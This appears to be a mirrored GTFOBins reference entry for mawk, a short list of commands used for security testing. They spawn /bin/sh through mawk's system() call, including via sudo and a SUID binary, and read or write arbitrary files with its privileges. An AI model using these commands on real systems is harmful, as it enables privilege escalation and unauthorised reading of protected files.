1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/mawk.md
2021-01-18 09:48:12 +02:00

471 B

functions
shell file-write file-read suid sudo limited-suid
code
mawk 'BEGIN {system("/bin/sh")}'
code
LFILE=file_to_write mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
code
LFILE=file_to_read mawk '//' "$LFILE"
code
LFILE=file_to_read ./mawk '//' "$LFILE"
code
sudo mawk 'BEGIN {system("/bin/sh")}'
code
./mawk 'BEGIN {system("/bin/sh")}'